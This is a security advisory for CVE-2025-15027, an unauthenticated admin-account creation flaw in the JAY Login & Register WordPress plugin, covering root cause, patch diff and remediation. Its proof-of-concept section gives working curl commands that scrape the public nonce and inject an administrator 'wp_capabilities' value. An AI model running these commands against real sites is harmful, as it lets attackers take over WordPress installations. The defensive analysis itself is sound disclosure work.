CVE-2025-15027: Privilege Escalation in JAY Login & Register (CVSS 9.8)
Table of Contents
CVE-2025-15027 is a critical privilege escalation in the JAY Login & Register WordPress plugin (CVSS 9.8). Any unauthenticated visitor can create a full administrator account — no credentials required. The root cause is an unguarded loop in the registration handler that writes arbitrary user meta, including wp_capabilities.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | JAY Login & Register |
| Plugin Slug | jay-login-register |
| CVE ID | CVE-2025-15027 |
| CVSS Score | 9.8 (Critical) |
| Vulnerability Type | Unauthenticated Privilege Escalation via Arbitrary User Meta Update |
| Affected Versions | <= 2.6.03 |
| Patched Version | 2.6.04 |
| Published | February 7, 2026 |
| Researcher | Andrea Bocchetti |
| Wordfence Advisory | Link |
Description
The JAY Login & Register plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.6.03. This is due to the plugin allowing a user to update arbitrary user meta through the jay_login_register_ajax_create_final_user function. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.
Technical Analysis
Vulnerable Code Path
1. AJAX Hook Registration — includes/jay-login-register-ajax-handler.php, line 757:
add_action('wp_ajax_nopriv_jay_login_register_create_final_user', 'jay_login_register_ajax_create_final_user');
The wp_ajax_nopriv_ prefix registers the handler for unauthenticated requests. Any visitor can trigger this endpoint via POST /wp-admin/admin-ajax.php?action=jay_login_register_create_final_user.
2. Nonce Check — line 759:
check_ajax_referer('jay_login_register_nonce_action', 'jay_login_register_nonce');
A nonce check is present, but the same nonce is rendered in the public-facing login/register form via includes/jay-login-register-shortcodes.php, line 107:
wp_nonce_field( 'jay_login_register_nonce_action', 'jay_login_register_nonce' );
The login/register form is public. Any attacker can read the nonce from the page source and include it in their request. The nonce provides no real protection here — it was designed as a CSRF defense, but the token is publicly readable.
3. User Creation — lines 953–958:
$user_id = wp_insert_user($user_data);
A new user is created with the subscriber role. This is correct on its own.
4. Unguarded User Meta Loop (Root Cause) — lines 984–1018:
foreach ($_POST as $post_key => $post_value) {
if ( strpos($post_key, 'meta_') === 0 ) {
$real_meta_key = substr($post_key, 5);
$real_meta_key = str_replace(' ', '_', $real_meta_key);
$real_meta_key = sanitize_key($real_meta_key);
// ... sanitize value ...
update_user_meta($user_id, $real_meta_key, $final_value);
}
}
After user creation, the function iterates over every POST parameter. For any key prefixed with meta_, it strips the prefix and calls update_user_meta() with the resulting key and the attacker-supplied value. There is no allowlist or denylist — the function accepts any meta key.
Root Cause
The function is designed to save custom registration fields (e.g., meta_birthdate, meta_national_id) to user meta. However, it does so without restricting which meta keys are writable. An attacker can prefix any WordPress internal meta key with meta_ and have it overwritten on the newly created account.
In practice, the critical target is wp_capabilities. This meta key stores an account’s roles and permissions as a serialized PHP array:
meta_key: wp_capabilities
meta_value: a:1:{s:10:"subscriber";b:1;} ← normal subscriber
meta_value: a:1:{s:13:"administrator";b:1;} ← escalated to admin
By sending meta_wp_capabilities=a:1:{s:13:"administrator";b:1;} in the POST body, the attacker overwrites wp_capabilities with an administrator capability set immediately after account creation.
Why Existing Controls Failed
| Control | Why It Failed |
|---|---|
check_ajax_referer() nonce check | The nonce (jay_login_register_nonce_action) is embedded in the public login/register form via wp_nonce_field(). Unauthenticated users can read the nonce from the page HTML before making the malicious request. |
sanitize_key() on meta key | Correctly lowercases the key and strips invalid characters, but wp_capabilities is composed entirely of valid characters and passes through unchanged. |
sanitize_textarea_field() on meta value | Strips HTML tags and cleans whitespace, but does not alter PHP serialized data strings. The payload a:1:{s:13:"administrator";b:1;} contains no HTML and survives sanitization. |
Attack Impact
An unauthenticated attacker can:
- Create a new WordPress account with full administrator privileges
- Log in immediately (the function calls
wp_set_auth_cookie()after creation) - Install plugins, upload files, modify themes, create backdoors, access all site data, and take over the site
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
jay-login-registerplugin installed and activated - Plugin version <= 2.6.03
- The login/register shortcode (
[jay_login_register]) must be present on at least one public page
Step-by-Step Reproduction
Step 1: Retrieve the public nonce from the login/register form page
Visit the page containing the login/register shortcode and extract the nonce value from the hidden input field. Replace https://target.com/login/ with the actual URL where the shortcode is rendered.
NONCE=$(curl -s "https://target.com/login/" \
| grep -oP 'id="jay_login_register_nonce" value="\K[^"]+')
echo "Nonce: $NONCE"
Step 2: Create an administrator account
POST to the AJAX handler with a phone number (used as username), a password, and the crafted meta_wp_capabilities payload. The serialized string a:1:{s:13:"administrator";b:1;} is valid PHP serialization for the capabilities array ['administrator' => true].
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
--data-urlencode "action=jay_login_register_create_final_user" \
--data-urlencode "jay_login_register_nonce=${NONCE}" \
--data-urlencode "user_input=09123456789" \
--data-urlencode "jay_login_register_password=P@ssw0rd123!" \
--data-urlencode 'meta_wp_capabilities=a:1:{s:13:"administrator";b:1;}'
Expected response:
{
"success": true,
"data": {
"message": "ثبت نام با موفقیت انجام شد در حال ورود ...",
"redirect_url": "https://target.com/"
}
}
Step 3: Log in with the newly created administrator account
curl -s -c /tmp/cookies.txt -X POST "https://target.com/wp-login.php" \
--data-urlencode "log=09123456789" \
--data-urlencode "pwd=P@ssw0rd123!" \
--data-urlencode "wp-submit=Log In" \
--data-urlencode "redirect_to=/wp-admin/" \
-L -o /tmp/admin_page.html
# Verify admin dashboard access
grep -o "<title>[^<]*</title>" /tmp/admin_page.html
Expected Result
The attacker now has a fully authenticated administrator session with complete control over the site. They can install plugins, upload files, read all content, modify users, and plant persistent backdoors.
Verification
Confirm the account has the administrator role:
# Using WP-CLI on the target server (if accessible):
wp user list --fields=user_login,roles --role=administrator
# Or via WordPress admin: Users → All Users → filter by Administrator role
# The attacker's phone number (09123456789) will appear with the Administrator role
Additionally, query the wp_usermeta table directly:
SELECT user_id, meta_key, meta_value
FROM wp_usermeta
WHERE meta_key = 'wp_capabilities'
AND meta_value LIKE '%administrator%';
Patch Analysis
What Changed
Only includes/jay-login-register-ajax-handler.php was modified for this specific vulnerability (other files in the 2.6.04 release addressed the companion CVE-2025-15100).
Fix Explanation
The patch introduces a three-level protection system applied before any update_user_meta() call in the registration loop:
Level 1 — Explicit Denylist:
$disallowed_meta_keys = [
'wp_capabilities',
'wp_user_level',
'admin_color',
'rich_editing',
'comment_shortcuts',
'show_admin_bar_front',
'session_tokens',
'user-settings',
'user-settings-time'
];
Blocks specifically known sensitive WordPress meta keys.
Level 2 — Prefix-based Denylist:
if (strpos($real_meta_key, 'wp_') === 0) {
continue;
}
Blocks all meta keys starting with wp_, protecting against any WordPress-prefixed internal keys — including any that may not be on the explicit denylist.
Level 3 — Allowlist (most effective):
$allowed_custom_fields = [];
foreach ($custom_fields_config as $f) {
$allowed_custom_fields[] = sanitize_key($f['key']);
}
if (!in_array($real_meta_key, $allowed_custom_fields, true)) {
continue;
}
Builds a whitelist of only the meta keys that the site administrator has explicitly configured as custom registration fields. Only whitelisted keys are written. This is the strongest defense. Instead of trying to list every dangerous key to block, it only allows keys the admin has explicitly permitted.
The patch replaces arbitrary meta writes with allowlist-gated writes — a complete fix for the root cause. One note: the allowlist is populated from plugin settings, which an administrator could manipulate. However, that falls outside the threat model (admin-to-admin is not an escalation).
Code Diff (Key Changes)
+ $allowed_custom_fields = [];
if ( is_array($custom_fields_config) ) {
foreach ($custom_fields_config as $f) {
- $fields_map[ $f['key'] ] = $f;
+ $fields_map[ $f['key'] ] = $f;
+ if ( isset($f['key']) && !empty($f['key']) ) {
+ $allowed_custom_fields[] = sanitize_key($f['key']);
+ }
}
}
+
+ // 🔒 Blacklist: dangerous keys
+ $disallowed_meta_keys = [
+ 'wp_capabilities', 'wp_user_level', 'admin_color',
+ 'rich_editing', 'comment_shortcuts', 'show_admin_bar_front',
+ 'session_tokens', 'user-settings', 'user-settings-time'
+ ];
foreach ($_POST as $post_key => $post_value) {
- if ( strpos($post_key, 'meta_') === 0 ) {
+ if ( strpos($post_key, 'meta_') !== 0 ) continue;
$real_meta_key = substr($post_key, 5);
$real_meta_key = str_replace(' ', '_', $real_meta_key);
$real_meta_key = sanitize_key($real_meta_key);
+ // Level 1: Blacklist specific dangerous keys
+ if (in_array($real_meta_key, $disallowed_meta_keys, true)) continue;
+
+ // Level 2: Block ALL wp_* keys
+ if (strpos($real_meta_key, 'wp_') === 0) continue;
+
+ // Level 3: Only allow whitelisted fields
+ if (!in_array($real_meta_key, $allowed_custom_fields, true)) continue;
+
// ... sanitize and update ...
update_user_meta($user_id, $real_meta_key, $final_value);
- }
}
Timeline
| Date | Event |
|---|---|
| February 7, 2026 | Vulnerability publicly disclosed by Wordfence |
| February 7, 2026 | Patched version 2.6.04 released |
| February 8, 2026 | Wordfence advisory last updated |
Remediation
Update the jay-login-register plugin to version 2.6.04 or later.
wp plugin update jay-login-register
If immediate update is not possible, deactivate the plugin until the update can be applied.
References
- Wordfence Advisory
- WordPress Plugin Trac — Vulnerable file (2.5.01 ref)
- CVE-2025-15027
- Plugin on WordPress.org
Frequently Asked Questions
What is CVE-2025-15027?
CVE-2025-15027 is a critical unauthenticated privilege escalation vulnerability in the JAY Login & Register WordPress plugin, rated CVSS 9.8, that allows any visitor to create a full administrator account with no credentials required.
Which versions of JAY Login & Register are affected by CVE-2025-15027?
All versions up to and including 2.6.03 are vulnerable. Version 2.6.04 contains the fix and is safe to use.
What can an attacker do with CVE-2025-15027?
An attacker can register a new WordPress account with full administrator privileges without logging in first. Once logged in as administrator, they can install plugins, upload files, modify themes, access all site data, and plant persistent backdoors.
Does an attacker need to be logged in to exploit CVE-2025-15027?
No. The vulnerable endpoint is available to unauthenticated users, and the nonce used for verification is publicly readable from the login page. Anyone who can access the site can exploit this vulnerability.
How do I fix CVE-2025-15027 in JAY Login & Register?
Update the JAY Login & Register plugin to version 2.6.04 or later. If you cannot update immediately, deactivate the plugin until the update can be applied.
Has JAY Login & Register been patched for CVE-2025-15027?
Yes. Version 2.6.04 was released on February 7, 2026 and fully resolves this vulnerability by replacing unrestricted meta key writes with an allowlist-based approach.